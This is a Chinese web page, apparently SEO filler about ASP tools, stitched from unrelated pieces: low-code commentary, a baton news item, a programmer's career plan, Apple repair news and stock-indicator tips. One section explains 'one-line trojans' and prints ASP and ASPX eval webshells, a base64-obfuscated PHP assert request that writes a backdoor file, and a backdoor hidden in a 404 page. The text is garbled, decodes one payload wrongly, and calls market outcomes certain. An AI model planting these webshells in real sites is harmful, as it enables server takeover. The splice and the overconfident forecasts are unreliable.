摘要： 8月科學(xué)教育網(wǎng)小李來為大家講解下。asp開發(fā)工具（asp編寫軟件這個很多人還不知道,現(xiàn)在讓我們一起來看看吧！人、技術(shù)、過程、工具、質(zhì)量-“以人為本”的工程哲學(xué)-iPerson人、技...

8月科學(xué)教育網(wǎng)小李來為大家講解下。asp開發(fā)工具（asp編寫軟件這個很多人還不知道,現(xiàn)在讓我們一起來看看吧！

人、技術(shù)、過程、工具、質(zhì)量-“以人為本”的工程哲學(xué)-iPerson

人、技術(shù)、過程、工具、質(zhì)量-“以人為本”的工程哲學(xué)

工程哲學(xué)：以人為本：

市場是人的需求形成的；

產(chǎn)品是給人做的；

項目是人做的；

人能掌握的技術(shù)才有實用性；

人能執(zhí)行的過程才能落地；

人能使用的工具才是好工具。

工程的價值觀：五人原則

看人行：看看工程師和用戶的真實的工作情況；

知人難：真實的感受他們的難處；

做人事：給他們推薦具有可執(zhí)行性的流程和任務(wù)；

說人話：用大家能夠聽懂的語言交流。

看到低代碼開發(fā)我就想到Dreamweaver，當(dāng)年我初學(xué)ASP時，用DW做了個論壇，那時候DW版本還是3.0、4.0。在DW完全可視化的狀態(tài)下，可以鼓搗出一個完整的，具有互動功能的網(wǎng)站出來。各種元素屬性、樣式、行為都可以像填寫表格一樣直觀操作。但現(xiàn)在DW已經(jīng)日薄西山，真正開發(fā)環(huán)境沒有幾個人用它了。究其原因，一是可視化操作并不能完全適應(yīng)千奇百怪的需求，二是可視化生成的代碼比較臃腫。雖然它可以在純代碼環(huán)境下編寫項目，但跟其他集成開發(fā)環(huán)境相比，它這方面卻又顯得薄弱。

如今低代碼工具和平臺忽然興起，被很多人說成是軟件開發(fā)的趨勢。但我卻有些擔(dān)心，首先他們能做到DW當(dāng)初的功能和自由度嗎？其次即使能比肩DW，能解決DW的天生缺陷嗎？從我多年的軟件開發(fā)經(jīng)驗來看，需求是千變?nèi)f化的，而且有很多是稀奇古怪的，需要深入代碼層面去解決問題。還有就是性能方面的問題，可視化生成的代碼肯定比純手寫的代碼要臃腫，進而降低運行效率。然后還有擴展性問題，隨著項目需求越來越精細化，低代碼平臺能否持續(xù)提供支撐？我覺得現(xiàn)在有些低代碼工具和平臺可能走錯了方向。

目前來看，行業(yè)內(nèi)卷，做PLC調(diào)試工作，因目前項目暫停，準(zhǔn)備剛好可以通過這段時間來學(xué)習(xí)，對于asp.net core， blazer ，vue，有些傻傻分不清。今天看了一下前端開發(fā)，準(zhǔn)備做一下權(quán)限管理。

在網(wǎng)上看了需要安裝腳手架，原來輸入大寫的NODE一直不行，重新安裝了好幾遍，最后才發(fā)現(xiàn)要輸入小寫的，也不知道這樣是否就以為著腳手架安裝成功了。

年紀大了學(xué)習(xí)有點吃力了。給自己加油，第一步就是要學(xué)會做人員權(quán)限管理。同時熟悉工具的使用

#輕兵器科普##輕兵器愛好者#新時代更需“老派作風(fēng)”，F(xiàn)BI換裝新型ASP特工甩棍！這種新型甩棍稱為A40特工型，收縮時全長只有203毫米，便于攜帶，通過按鈕釋放裝置，完全伸展后全長可達406毫米。A40的標(biāo)準(zhǔn)版本除鋼制打擊頭外，還采用了鋁合金部件以減輕重量，但FBI采購的版本完全由4140鋼制成，以增強打擊力。該版本還配有彈簧夾，便于放在口袋或腰帶中攜帶，非常適合便衣使用。ASP甩棍和OC噴霧劑、泰瑟槍一起，曾是美國執(zhí)法部門標(biāo)配的“非殺傷性”警用武器，最常見的一種輕量型，全重為255克，收縮狀態(tài)203毫米，完全伸展后533毫米。但近年來ASP和OC噴霧劑一度被視為過時產(chǎn)品。其實ASP除控制暴力事件、驅(qū)散人群外，還可以作為撬杠、指示棒以及破窗工具，用途廣泛。為此，廠商特意在一份聲明中說：“能夠繼續(xù)得到聯(lián)邦調(diào)查局男女特工人員的信任，為他們提供履行職責(zé)和保障自身安全所需的設(shè)備和培訓(xùn)，這是一種莫大的榮譽。”該公司稱，F(xiàn)BI是持續(xù)采購更多甩棍的主要聯(lián)邦機構(gòu)之一。

奔四程序員，決定再深入學(xué)習(xí)一次單片機。

我算是比較早的一批程序員了，最早的時候使用ASP、PHP、VB，后來轉(zhuǎn)向c#，最近十來年則是以JAVA、PHP為主。其實小城市程序員真是啥都要干，jQuery、angular、vue、安卓、iOS我也都開發(fā)了大量代碼。

五六年前我曾自學(xué)過一次STM32，并且把學(xué)習(xí)過程寫了一個小系列的博客，當(dāng)時用STM32最小板學(xué)習(xí)了串口、GPIO口、RAM和FLASH下載調(diào)試等技術(shù)。不過實際工作中用不到，學(xué)到這里就沒堅持下去。上學(xué)的時候課程還是8086單片機，更是忘的影都沒了。上學(xué)時我學(xué)的電子專業(yè)，電路硬件知識還了解一點皮毛，也做過一些上位機軟件，對硬件通訊并不陌生。

明年就是“不惑”的年齡了，作為最早奔四的80后群體，現(xiàn)在之所以決定再次沖擊STM32開發(fā)技術(shù)，還是為了日后的職場多留點后路。我在小城市做程序員，其實沒什么核心的科技含量，年齡大了，危機感就愈加強烈。經(jīng)過仔細觀察，我發(fā)現(xiàn)小城市互聯(lián)網(wǎng)從業(yè)的技術(shù)人員雖然薪資整體待遇比嵌入式略高，但可替代性更強，不從業(yè)務(wù)出發(fā)，只看技術(shù)的話，三四十歲程序員和二十多歲優(yōu)秀的程序員比，根本沒什么競爭優(yōu)勢。

而嵌入式整體就業(yè)面要更窄，更像在一個小圈子里流動，這個圈子相對來說就略顯穩(wěn)定。

我身邊奔四的互聯(lián)網(wǎng)從業(yè)人員，很多就處于尷尬境地，求職工資太高很多公司給不起，工資太低滿足不了自己生活，高不成、低不就的狀況下，很多程序員干到奔四就走向了自我創(chuàng)業(yè)。但創(chuàng)業(yè)這事情，真的不是每個人都適合，起碼我是沒有這個信心。

另外嵌入式的技術(shù)迭代速度也沒有前端、后端這么瘋狂，開發(fā)工具升版速度總體來說不高。未來幾年國內(nèi)芯片技術(shù)可能迎來一波快速發(fā)展時期，早點進入這個行業(yè)，看看能不能為未來職場留下更多話語權(quán)。

技術(shù)角度看，我打算把STM32再學(xué)深入一點，在之前學(xué)習(xí)的基礎(chǔ)上，把各種外設(shè)通訊、常用傳感器的使用都先學(xué)一下。這次使用了普中的STM32-F1開發(fā)板，資源比起之前最小板豐富不少，還帶了一個觸摸屏，所以學(xué)完基礎(chǔ)部分，再學(xué)一下基于操作系統(tǒng)的嵌入式開發(fā)。

學(xué)完這些，再從應(yīng)用角度切入risc-v單片機系列的學(xué)習(xí)，正好身邊有這資源，集團公司旗下有一個團隊做risc-v芯片，最好能想辦法進入某個開發(fā)項目，這樣學(xué)以致用效果也更好。

學(xué)習(xí)方式是視頻+動手實踐+看書+寫博客，之前學(xué)STM32時寫的博客太粗糙了，這次決心寫得更細致一些。

最近一年左右就這么規(guī)劃了，希望能堅持下來。[加油]

一句話木馬原理與攻防

一句話木馬原理很簡單，造型也很簡單，所以造成了它理解起來容易，抵御起來也容易。于是黑白的較量變成了黑帽不斷的構(gòu)造變形的后門，去隱蔽特征，而白帽則不斷的更新過濾方法，建起更高的城墻。

一、原理簡述

對于不同的語言有不同的構(gòu)造方法。

基本構(gòu)造：最開頭構(gòu)造的是腳本開始的標(biāo)記

核心部分：獲取并執(zhí)行得到的內(nèi)容，通常類似eval、execute等

被執(zhí)行內(nèi)容：一般是http等協(xié)議接受的值，通常類似request、$_POST等

如果我們通過客戶端向服務(wù)器發(fā)送被執(zhí)行內(nèi)容，那么就會讓服務(wù)器執(zhí)行我們發(fā)送的腳本，掛馬就實現(xiàn)了。

/*asp一句話木馬*/<%execute(request("value"))%>

/*php一句話木馬*/

/*aspx一句話木馬*/

<%@?Page?Language="Jscript"%>

<%eval(Request.Item["value"])%>

黑帽子的目的，就是想盡辦法給目標(biāo)網(wǎng)站插入這么一段會被儲存起來的語句。可以是一個單獨的腳本文件文件（.asp 、.php、.aspx ），或者是隱藏在某些網(wǎng)頁下的文件、代碼等。

其中的value 就是客戶端要發(fā)送的內(nèi)容，然后通過客戶端與服務(wù)器建立連接，發(fā)送控制腳本。也會涉及到一些任意文件上傳漏洞等。

二、簡單變形

很明顯的 eval 可以成為一個靜態(tài)特征碼，webshell掃描工具可以以此為關(guān)鍵詞，掃描到這種木馬加以屏蔽。于是可以簡單變形不出現(xiàn)eval：

同理，傳給a值為 @base64_decode(base64編碼過后的eval)。

利用方法：

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通過對GET請求的URL構(gòu)造而形成利用，左括號和右括號是URL編碼，解碼回來如下：

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET請求后相當(dāng)于執(zhí)行一個assert函數(shù)，并把b作為assert的參數(shù)。b里面使用略php的base64解碼函數(shù)，把部分信息通過base64編碼而繞過掃描，解碼后如下：

?a=assert&b=${fputs(fopen(c.php,w),1)};

執(zhí)行后當(dāng)前目錄生成c.php文件并寫入一句話木馬，這已經(jīng)算是一個非常隱蔽的木馬了。而在PHP 后門的變形之路上，遠遠不止這些，甚至可以自己定義一個加密解密的函數(shù)，或者是利用xor, 字符串翻轉(zhuǎn)，壓縮，截斷重組等等方法來繞過。

三、變形改良

1.404頁面隱藏木馬

????

????

????

Not?Found

The?requested?URL?was?not?found?on?this?server.

????

????@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

????header('HTTP/1.1?404?Not?Found');

?>

一般404頁面放好后，很少有人會定期對404頁面進行檢查和修改。

如果在404頁面掛上了一句話后門，一方面不會被發(fā)現(xiàn)，另一方面，黑帽子很容易能定位到并連接上服務(wù)器。

詳情：網(wǎng)頁鏈接

【#蘋果宣布將推出自助維修計劃#，網(wǎng)友：為了賺更多】

歐界報道：

11月17日，蘋果宣布將推出自助維修計劃，這項計劃將從iPhone 12 與 iPhone 13 開始。個人消費者與超過 5000 家 Apple 授權(quán)服務(wù)提供商（AASP）和 2800 家獨立維修服務(wù)提供商一樣可以獲取零件、工具與維修手冊，進行自助維修。

但是部分網(wǎng)友認為蘋果此舉是為了賺更多錢。大部分的人都不具備專業(yè)的修機技術(shù)，很容易把手機修壞，再找蘋果專門的維修店，維修的價格會更高。再者，第三方維修點會全面購買 Apple 官方備件，這無疑是為蘋果備件供應(yīng)鏈打工。不知道對此，你怎么看呢？

通過數(shù)據(jù)判斷行情：

1、? M1-M2增速差

是貨幣供應(yīng)量的活化指標(biāo)，代表資金流向趨勢，增速差的走勢跟市場行情基本同步，甚至還能提前一點，所以這個指標(biāo)特別有用。特別是要抓那些大趨勢的拐點，當(dāng)增速差長期向上或向下然后發(fā)生轉(zhuǎn)折的時候，市場跟著轉(zhuǎn)勢的可能性就非常大，例如2019年市場增速差見底回升，那么股市其實就很有可能回升。還有市場逆增速差而動，比如2017年，市場一路上揚，增速差一路向下，其實這時候風(fēng)險就比較大了，所以用增速差來判斷大勢，有著7-8成的勝率。

查M1-M2增速差網(wǎng)站：網(wǎng)頁鏈接

2、? 社融周期

社融周期也就是信用周期，社融向上行情不會太差，社融向下，行情不會太好。社融的用法是排除法，逆社融的行情可能不會長久，比如2017年，社融一路向下，到了2018年就出現(xiàn)了下跌。社融這個數(shù)據(jù)是存量同比數(shù)據(jù)，2021年9月已經(jīng)降到10%，基本算是歷史最低水平，即將跌破2018年底的9.8%，社融這個指標(biāo)遵循否極泰來的效應(yīng)，一旦到底，未來必然出現(xiàn)反彈，2018年就比較明顯，一旦社融反彈市場很快就會回來。

而宏觀杠桿率也非常重要，一旦聽到去杠桿這三個字行情通常表現(xiàn)不會太好，特別是債券也會很糟糕。

3、? PPI和銅價

PPI指標(biāo)是判斷經(jīng)濟強周期的標(biāo)志，PPI大幅上升，證明未來強周期可能會出現(xiàn)，比PPI更快速的工具是銅價，銅價上升PPI上升強周期未來上升的概率就會非常大，超過80%，所以一旦看到這兩個指標(biāo)上升就應(yīng)該布局強周期板塊，比如有色、鋼鐵、煤炭、化工，或者寬基中的中證紅利指數(shù)。

PPI和銅價構(gòu)筑了一個周期模型，當(dāng)PPI和銅價飆升時強周期就會出現(xiàn)，如果其中一個指標(biāo)掉頭向下或出現(xiàn)見頂信號就應(yīng)該注意周期向下的風(fēng)險。

4、? 滬深300指數(shù)股息率溢價

資產(chǎn)之間價格關(guān)系，通常用的指標(biāo)是滬深300股息率溢價數(shù)據(jù)，也就是滬深300的股息率除十年期國債收益率，這是比較股債最基礎(chǔ)的邏輯，看誰更有優(yōu)勢，一旦溢價特別低的時候，說明長期看股市投資就沒有優(yōu)勢了，預(yù)期收益還不如債券。

查看滬深300指數(shù)股息率溢價方式：微信-小程序-韭圈-股債性價比-比值-股息率溢價

?

?

投資怎么做預(yù)測：

1看政策，政策是會對市場進行逆周期調(diào)節(jié)的，當(dāng)經(jīng)濟變差的時候，未來政策大概率會干預(yù)，比如現(xiàn)在，我們就預(yù)測，今年底明年初，政策一定會轉(zhuǎn)向積極，政策不斷釋放利好，降低資金成本，一定會讓市場利率下行，在股債比當(dāng)中，股市的吸引力會持續(xù)提升。所以政策的逆周期變化，是一個比較確定的東西。也是經(jīng)濟預(yù)測中，最重要的一個點。

?

2看情緒，我們經(jīng)常講，盈虧同源，繁榮始于衰退，衰退的原因就是繁榮，當(dāng)市場瘋狂之后，必然跟隨的就是暴跌，當(dāng)市場暴跌之后，未來預(yù)期回報就會很高。你與其研究什么天干地支陰陽五行，不如把之前的漲跌幅好好看看，像2019和2020年，連漲了兩年之后，2021年必然會是一個調(diào)整年。當(dāng)大家都知道買白酒穩(wěn)賺不陪了，那么白酒就肯定要下跌。當(dāng)大家都追著買新能源，都去炒煤炭，把價格炒上天之后，那么必然就是崩潰。這種預(yù)測的勝率是非常大的。

?

3才是看周期，看企業(yè)利潤，看企業(yè)庫存，看社會融資，說白了也是看企業(yè)未來投資的意愿，能反映他們的樂觀程度，如果大家都很不樂觀，庫存很高，業(yè)績一天比一天差，那么股市肯定會有下跌。如果都出清了，庫房里沒東西可賣了，開始重新生產(chǎn)，進入主動補庫存，那么未來業(yè)績就會釋放。股市預(yù)期也會逐漸上來。

?

4、看預(yù)期回報，未來行情好不好，取決于有多少預(yù)期回報比較高的投資標(biāo)的，如果預(yù)期回報很高，能買的東西多，那么第二年行情就差不了。相反如果可買的東西不多，啥都貴了，也沒什么確定性的機會，那么第二年很可能就是大跌。比如巴菲特在70年代初期解散了巴菲特合伙公司，就是因為他找不到什么可以投資的東西了。后面連續(xù)幾年的暴跌，他也就躲過去了。并不是他多能預(yù)測，而是策略決定的。當(dāng)很多東西，都透支了未來幾年的回報，都適合賣出，不適合買入的時候，他的倉位自然就下來了。

?

[玫瑰][玫瑰]女神節(jié)節(jié)的約會[心][心][心]

本文asp開發(fā)工具（asp編寫軟件到此分享完畢，希望對大家有所幫助。